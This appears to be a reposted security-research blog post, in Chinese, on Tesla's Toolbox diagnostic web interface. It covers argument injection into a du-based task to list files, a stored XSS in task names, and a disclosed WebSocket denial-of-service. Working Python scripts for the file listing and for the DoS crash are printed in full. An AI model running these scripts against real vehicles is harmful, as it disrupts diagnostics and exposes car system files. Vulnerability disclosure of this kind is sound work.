探索Tesla 隐藏的安全漏洞 —— Toolbox

文摘   2024-07-30 17:22   上海  

几个月前,我有机会研究了特斯拉的Toolbox,这是一个针对特斯拉车辆的基于网络的诊断界面。当时我使用的是一个较旧的固件版本,这使我能够发现一些已经被修复的漏洞。我还找到了一个未被修复的漏洞,它在最新的固件版本中仍然有效,下面我会详细说明。


The Toolbox

大多数车辆都有OBD2端口,并通过OBD2端口的CAN通信提供诊断服务。而特斯拉则使用了一个基于以太网的诊断环境称为Toolbox,它作为一个Web前端。

对于Model 3和Model Y,你可以通过如图所示的线缆连接你的特斯拉和PC来访问诊断服务。线缆的一端通过RJ45接口连接到PC上,另一端的4针接口则连接到驾驶座左侧下方的诊断端口。这种线缆在Aliexpress或Amazon上都能轻松买到。

Tesla Toolbox 诊断线缆

驾驶座左侧下方的4针诊断端口

可以通过以下链接访问特斯拉Toolbox:https://toolbox.tesla.com/,并需要付费订阅。要连接你的车辆,请访问该链接并点击右上角的灰色框。

为了使用特斯拉Toolbox进行诊断,PC的IP地址必须位于车辆的网络地址空间内。我将PC的IP地址设置为192.168.90.110/255.255.255.0。任何位于192.168.90.0/24子网内的IP地址,只要没有分配给车辆的ECU(电子控制单元)都可以。这里有一份我在网上找到的特斯拉ECU的IP地址列表。负责诊断服务的ECU是CID/ICE,其地址为192.168.90.100。

ECUIP AddressDescription
CID/ICE192.168.90.100Controls the display and media systems.
Autopilot (primary)192.168.90.103Controls the autopilot system.
Autopilot (secondary)192.168.90.105Backup autopilot system.
Gateway192.168.90.102Controls the switch, vehicle config, and proxies requests between the ethernet side and the CAN BUS.
Modem192.168.90.60LTE modem.
Tuner192.168.90.60AM/FM radio. Not present on newer Model 3 cars.


The patched

目录列表

快速查看Toolbox后,我发现车辆和PC之间通过WebSocket在端点ws://192.168.90.100:8080/api/v1/products/current/messages/commands进行通信。


通信使用的JSON数据格式如下:

{    "request_id": "007b45c3-ed94-4804-9928-93e0cbf4a0d1",    "request_payload": {        "command": "get_vin",        "request_id": "007b45c3-ed94-4804-9928-93e0cbf4a0d1",        "message_type": "command",        "broadcast_permanent_topics": true    },    "response": null,    "hermes_status": 3202}
确定可以通过request_payload中的command参数传递命令后,我查找了可用的命令类型。
以下是我们可以使用的命令列表:
get_vinstatusexecutelist_taskspinglockunlockstart_orchestratorstop_orchestratorlist_requests    cancel_request  read_dtcs   clear_dtcs

下面是list_tasks命令的部分输出。name字段是你能够请求的命令。

      .      .      .{  "title": "DAS Capture Image",  "description": "",  "dependencies": "",  "cancelable": true,  "valid_states": [    "StandStill|Parked"  ],  "post_fusing_allowed": false,  "message": {    "command": "execute",    "args": {      "name": "Common/tasks/PROC_DAS_X_CAPTURE-IMAGE"    }  },  "name": "PROC_DAS_X_CAPTURE-IMAGE",  "inputs": {}},      .      .      .
当我逐一执行list_tasks命令获得的任务时,猜测TEST-BASH_ICE_X_CHECK-DISK-USAGE命令内部绑定到了du命令,并且在检查了一些du命令的选项未被过滤后,我确认可以通过设置类似-ahld100这样的选项来列出所需的目录文件。
{  "title": "ICE Check Disk Usage",  "description": "Check disk usage in a list of paths, default includes common files like caches",  "dependencies": "",  "cancelable": false,  "valid_states": [    "StandStill|Drive",    "StandStill|Neutral",    "StandStill|Parked",    "Moving|Drive",    "Moving|Neutral"  ],  "post_fusing_allowed": false,  "message": {    "command": "execute",    "args": {      "name": "Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE"    }  },  "name": "TEST-BASH_ICE_X_CHECK-DISK-USAGE",  "inputs": {    "directories": {      "datatype": "List",      "default": [        "/home/tesla/.Tesla/data/drivenotes",        "/home/tesla/.Tesla/cache",        "/home/tesla/.Tesla/cache/map_tiles_v3/tile_cache",        "/home/tesla/.Tesla/data/screenshots",        "/home/tesla/.crashlogs",        "/home/tesla/media",        "/home/ecallclient/.Tesla/data",        "/home/gpsmanager/.Tesla/data",        "/home/mediaserver/.Tesla/data",        "/home/monitord/.Tesla/data",        "/home/spotify/.Tesla/data",        "/home/tesla/.Tesla/data",        "/home/tuner/.Tesla/data",        "/home/qtaudiod/.Tesla/data",        "/home/mediaserver/cache",        "/home/dashcam"      ]    },    "parameters": {      "datatype": "List",      "default": [        "-sm"      ]    }  }}

我编写了一个Python脚本来列出特定目录下的文件。
import asyncioimport websocketsimport jsonimport timeimport sys
async def webs_fuzz(): async with websockets.connect("ws://192.168.90.100:8080/api/v1/products/current/messages/commands") as websocket: msg = { "command":"execute", "args": { "name":"Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE", "kw": { "directories":[sys.argv[1]], "parameters":["-ahld100"] } }, "skip_vehicle_checks":"false", "request_id":"tbx3-214b9a22-80cd-4b63-8ab8-19cdb923b151", "token":"Something", "intermediate_certificate":"-----BEGIN CERTIFICATE-----\nredacted\n-----END CERTIFICATE-----\n" } }
msg = json.dumps(msg) await websocket.send(msg) time.sleep(0.5) res = await websocket.recv() res = await websocket.recv() print(json.dumps(json.loads(res), indent=4))
start_server = websockets.serve
asyncio.get_event_loop().run_until_complete(webs_fuzz())

现在起我可以查看哪些文件存在于 CID/ICE 系统中,我搜索了一些 Toolbox 网络服务器上的文件。网络服务器目录的位置是 `/opt/odin/core/engine/`,不幸的是,大多数文件都经过了白名单过滤,我只能读取像 `/opt/odin/core/engine/assets/img/starman_750x750.png` 这样的图片文件。

starman_750x750.png
特斯拉的 CID 具有一个开放的 SSH 端口,并且使用签名证书进行 SSH 认证,所以我想到如果我能读取系统中存在的密钥,就有可能访问 SSH。我查看了可用任务中用于读取文件的命令,但是由于有很强的白名单过滤,所以无法绕过它。


Stored XSS

`http://192.168.90.100:8080` 端点记录了已完成的诊断任务及其执行结果,该端点的 `"name": "Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE"` 字段没有经过 XSS 过滤,从而导致了一个存储型 XSS 漏洞。

攻击者可以将恶意 JavaScript 代码注入到 `name` 参数中,当服务中心访问该端点时,就会执行攻击者的 JavaScript 代码。


SOME/IP
特斯拉似乎使用了vsomeip来进行SOME/IP通信,这看起来挺有意思的。我们将在另一篇文章中更详细地讨论SOME/IP。
"22.5K\t/usr/bin/vsomeipd","2.5K\t/usr/etc/vsomeip/vsomeip-local.json","1.5K\t/usr/etc/vsomeip/vsomeip-tcp-client.json","2.5K\t/usr/etc/vsomeip/vsomeip-tcp-service.json","1.5K\t/usr/etc/vsomeip/vsomeip-udp-client.json","2.5K\t/usr/etc/vsomeip/vsomeip-udp-service.json","1.5K\t/usr/etc/vsomeip/vsomeip.json","12.0K\t/usr/etc/vsomeip""35.5K\t/etc/vsomeip.json","0\t/usr/lib/libCommonAPI-SomeIP.so","2.7M\t/usr/lib/libCommonAPI-SomeIP.so.3.1.10","0\t/usr/lib/libvsomeip-cfg.so","0\t/usr/lib/libvsomeip-cfg.so.2","275.5K\t/usr/lib/libvsomeip-cfg.so.2.7.0","0\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so","0\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.1","18.0K\t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.2.7.0-1.0.0","0\t/usr/lib/libvsomeip-sd.so","0\t/usr/lib/libvsomeip-sd.so.2","287.5K\t/usr/lib/libvsomeip-sd.so.2.7.0","0\t/usr/lib/libvsomeip.so","0\t/usr/lib/libvsomeip.so.2","1.4M\t/usr/lib/libvsomeip.so.2.7.0",


未修补的问题

在使用Web代理工具观察WebSocket连接的参数时,我发现了一些奇怪的现象。

有时候,当向WebSocket发送语法不正确的JSON数据请求(例如:“{“)之后再发送正常的list_task命令,会返回一个500错误消息,如图所示,并且此后便无法通过Toolbox连接到车辆。

在再次重现同样的情况后,我查看了抓包记录,发现了一个奇怪的现象。
正常list_task消息(端口1052)的响应被发送到了带有异常JSON数据(例如:“{“)的端口(1053),这使得WebSocket消息的头部被破坏,Web服务器无法正确处理WebSocket头部的opcode,从而导致Web服务器的WebSocket相关实例崩溃。
WebSocket头部的结构如下所示。


• FIN(1位):指示是否为消息中的最后一个片段。第一个片段通常将这一位设置为1。

• RSV1, RSV2, RSV3(各1位):保留位。除非已协商定义了非零值的意义的扩展,否则必须设置为0。

• opcode(4位):定义了如何解释负载数据。如果接收到未知的opcode,接收端必须关闭连接。

• MASK(1位):指示消息负载是否被掩码。如果设置为1,则在头部中包含了掩码密钥。

opcode的类型

• 0x0 - 连续帧

• 0x1 - 文本帧

• 0x2 - 二进制帧

• 0x3-7 - 保留用于进一步的非控制帧

• 0x8 - 连接关闭

• 0x9 - Ping

• 0xA - Pong

• 0xB-F - 保留用于进一步的控制帧

由于特斯拉Toolbox的Web服务器不能正确处理除文本帧、二进制帧、Ping和Pong以外的其他opcode,在WebSocket头部中,当某些未处理的opcode以特定顺序到来时,服务器端的WebSocket实例将会消失。
实例消失后,对所有命令的响应都将是一个NoneType对象没有属性‘call_exception_handler’,这意味着车辆将变得不可达,无法从Toolbox发送任何命令,使其处于拒绝服务(DOS)状态。

我立即编写了一个概念验证(POC)代码,并将其提交给了特斯拉。

import jsonimport socketimport structimport secretsimport selectfrom random import choice
def connect_to_server(host, dst_port): client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) client_socket.connect((host, dst_port)) client_socket.settimeout(0.2) return client_socket
# Upgrade to Websocket Connectiondef send_handshake_request(client_socket, host, path, port): request = "GET {} HTTP/1.1\r\n".format(path) request += "Host: {}:{}\r\n".format(host, port) request += "Connection: Upgrade\r\n" request += "Pragma: no-cache\r\n" request += "Cache-Control: no-cache\r\n" request += "User-Agent: no-cache\r\n" request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\r\n" request += "Upgrade: websocket\r\n" request += "Origin: https://toolbox.tesla.com\r\n" request += "Sec-WebSocket-Version: 13\r\n" request += "Accept-Encoding: gzip, deflate\r\n" request += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n" request += "Sec-WebSocket-Key: uKtd9i3rUH7gk7s7RB0gyA==\r\n\r\n"
client_socket.send(request.encode('utf-8'))
def receive_handshake_response(client_socket): response = ""
while True: try: data = client_socket.recv(1024).decode('utf-8') response += data if "\r\n\r\n" in response: break except socket.timeout: break return response
def parse_handshake_response(response): lines = response.split("\r\n") status_line = lines[0] headers = {}
for line in lines[1:]: if ": " in line: key, value = line.split(": ") headers[key] = value
return status_line, headers
# Send data include Websocket headerdef send_data(client_socket, data, opcode=1): mask = secrets.token_bytes(4) payload_length = len(data)
if payload_length <= 125: header = struct.pack('>BB', 0x80 | opcode, 0x80 | payload_length) elif payload_length <= 65535: header = struct.pack('>BBH', 0x80 | opcode, 0x80 | 126, payload_length) else: header = struct.pack('>BBQ', 0x80 | opcode, 0x80 | 127, payload_length)
masked_data = bytearray(data.encode('utf-8'))
for i in range(payload_length): masked_data[i] ^= mask[i % 4] packet = header + mask + masked_data
try: client_socket.send(packet) return True except ConnectionAbortedError: return False
def receive_all(client_socket): data = b''
while True: try: chunk = client_socket.recv(1024) if not chunk: break data += chunk except TimeoutError: break
return data
def receive_data(client_socket, bytes): data = b''
try: return client_socket.recv(bytes) except socket.timeout: return data
def run_websocket_client(host, dst_port, path): client_socket = connect_to_server(host, dst_port) send_handshake_request(client_socket, host, path, dst_port) response = receive_handshake_response(client_socket) parse_handshake_response(response) return client_socket
if __name__ == "__main__": host = "192.168.90.100" port = 8080 path = "/api/v1/products/current/messages/commands"
# ** You have to change the token value with valid one so that you can use `list_tasks` commands ** # ** Simply copy the whole JSON data from developer tools and paste right next to task_list_msg variable ** task_list_msg = {"command":"list_tasks","request_id":"tbx3-f0052249-23dd-4b2c-8281-c7b8e20469e0","token":"redacted","tokenv2":{"token":"redacted","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nredacted\n-----END CERTIFICATE-----\n"}} task_list_msg = json.dumps(task_list_msg,separators=(",", ":")) # Any character that doesn't comply with the JSON syntax would be ok vuln_msg = "{"
while True: task_list_msg_socket = run_websocket_client(host, port, path) vuln_msg_socket = run_websocket_client(host, port, path)
# Sending an invalid JSON message send_data(vuln_msg_socket, vuln_msg) # You'll get an error message receive_all(vuln_msg_socket) # Sending a `list_tasks` command request which respond with multiple websocket packets send_data(task_list_msg_socket, task_list_msg) # Normal response of `list_tasks` request receive_all(task_list_msg_socket) # Normal response of `list_tasks` request also duplicated on vuln_msg_socket receive_all(vuln_msg_socket) inputs = [vuln_msg_socket]
try: # You must send Websocket data with an opcode that server cannot handle properly at the same time as you are receiving websocket messages while True: readable, writeable, exceptional = select.select(inputs, [], []) for s in readable: try: d = s.recv(512) # Except for 0x1, 0x2, 0x9, and 0xA, other opcodes are not handled correctly send_data(s, vuln_msg, choice([0x0, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0xb, 0xc, 0xd, 0xe, 0xf])) except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError): print("DOS Succeeded!") exit() if d.decode("utf-8", errors="replace").find("hermes_status") > -1: s.close() break except KeyboardInterrupt: exit() except ValueError: continue

Low impact

寻找漏洞最重要的一点是,仅仅因为某件事会导致意外的行为,并不意味着它就是一个漏洞。由于特斯拉的诊断功能需要本地连接到PC,即使发生了DOS攻击,也可以通过重启车辆来恢复,因此这种攻击的影响很小,很难构想出有效的攻击场景,所以我报告的这个漏洞并没有得到认可。

虽然有些遗憾,但重要的是我在寻找漏洞的过程中享受到了乐趣,并学到了很多东西,很高兴能分享这次经历。







安全脉脉
我们致力于提高车联网安全的意识,推动行业发展,保护车辆和驾驶者免受潜在威胁的影响。在这里可以与车联网安全领域的专家和爱好者分享知识、深入思考、探讨标准法规、共享工具和讨论车联网热点事件。
 最新文章